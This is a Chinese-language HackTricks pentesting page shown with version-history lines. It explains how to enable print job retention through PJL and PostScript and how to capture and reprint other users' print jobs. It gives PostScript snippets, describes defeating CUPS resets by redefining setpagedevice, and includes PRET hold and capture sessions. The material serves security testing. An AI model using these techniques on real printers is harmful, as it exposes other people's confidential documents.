hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

129 lines
8.6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
# 作业保留
2023-08-03 19:12:22 +00:00
某些打印机可以从Web服务器访问存储的打印作业。通常情况下必须显式激活作业保留功能可以使用标准的PJL命令或专有的PostScript代码来完成。作业将保留在内存中并可以从控制面板重新打印。
2022-05-01 12:49:36 +00:00
## PJL
2023-08-03 19:12:22 +00:00
可以通过设置PJL HOLD变量来为当前文档启用合法的作业保留如下所示
```
@PJL SET HOLD=ON
[actual data to be printed follows]
```
2023-08-03 19:12:22 +00:00
打印作业保留在内存中,并可以从打印机的控制面板重新打印。这个功能被许多打印机支持,然而似乎只有一些爱普生设备允许使用`@PJL DEFAULT HOLD=ON`设置永久作业保留。
2023-08-03 19:12:22 +00:00
**如何测试这种攻击?**
2023-08-03 19:12:22 +00:00
使用[**PRET** ](https://github.com/RUB-NDS/PRET)中的`hold`命令在pjl模式下检查是否可以设置永久作业保留
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
```
2022-05-01 12:49:36 +00:00
## PostScript
2023-08-03 19:12:22 +00:00
PostScript提供类似的功能但是它是基于型号和供应商的。对于HP LaserJet 4k系列和各种Kyocera打印机可以通过在PostScript文档前添加以下命令来启用作业保留功能
```
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
```
2023-08-03 19:12:22 +00:00
虽然在理论上可以使用[startjob](./#postscript-ps)操作符永久启用PostScript作业保留但是CUPS在每个打印作业开始时都会使用`<< /Collate false >> setpagedevice`显式重置此设置。然而,为了对抗这种保护机制,攻击者可以永久重新定义`setpagedevice`操作符,使其完全无效。
2023-08-03 19:12:22 +00:00
**如何测试此攻击?**
2023-08-03 19:12:22 +00:00
在ps模式下使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
2023-08-03 19:12:22 +00:00
# 任务捕获
2023-08-03 19:12:22 +00:00
如上所述通过打开打印对话框激活作业保留是可能的但不常见。然而使用PostScript可以完全访问当前的打印作业并且使用[startjob](./#postscript-ps)运算符甚至可以打破服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序这种功能有可能捕获所有文档。
2022-05-01 12:49:36 +00:00
## PostScript
2023-08-03 19:12:22 +00:00
通过能够钩入任意的PostScript运算符可以操纵和访问外部的打印作业。为了**解析发送到打印机的实际数据流**可以应用PostScript语言的一个很酷的特性使用`currentfile`运算符将自己的程序代码作为数据读取。通过这种方式可以通过读取并将要由PostScript解释器处理的整个数据流存储到打印机设备上的文件中来访问整个数据流。如果打印机不提供文件系统访问权限**捕获的文档可以存储在内存中**例如在永久的PostScript字典中。\
一个实际的问题是决定**应该钩入哪个运算符**因为在PostScript解释器处理此运算符之前无法访问数据流。由于攻击者希望从一开始就捕获打印作业所以**重新定义的运算符必须是包含在PostScript文档中的第一个运算符**。幸运的是使用CUPS打印的所有文档都被压缩成一个固定的结构以`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`开头。基于这种固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(即打印)该文件。对于**不是CUPS的打印系统**,这种攻击也应该是可能的,但**需要调整运算符**。请注意通常包括介质大小、用户和作业名称的PostScript头部无法使用此方法捕获因为我们首先在实际文档的开头进行钩入。另一种在每个打印作业开始时进行钩入的通用策略是设置`BeginPage`系统参数如果打印机支持的话大多数打印机都支持。这种漏洞可能已经存在于打印设备中几十年了因为它仅滥用了PostScript标准定义的语言结构。
2023-08-03 19:12:22 +00:00
在ps模式下使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`capture`命令:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
2023-08-03 19:12:22 +00:00
printer:/> capture
Print job operations: capture <operation>
2023-08-03 19:12:22 +00:00
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
2023-08-03 19:12:22 +00:00
现在打印任意文档确保PRET未连接以免阻塞打印通道。之后您可以列出、获取或重新打印已捕获的文档
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
2023-08-03 19:12:22 +00:00
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
2023-08-03 19:12:22 +00:00
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
2023-08-03 19:12:22 +00:00
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
```
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>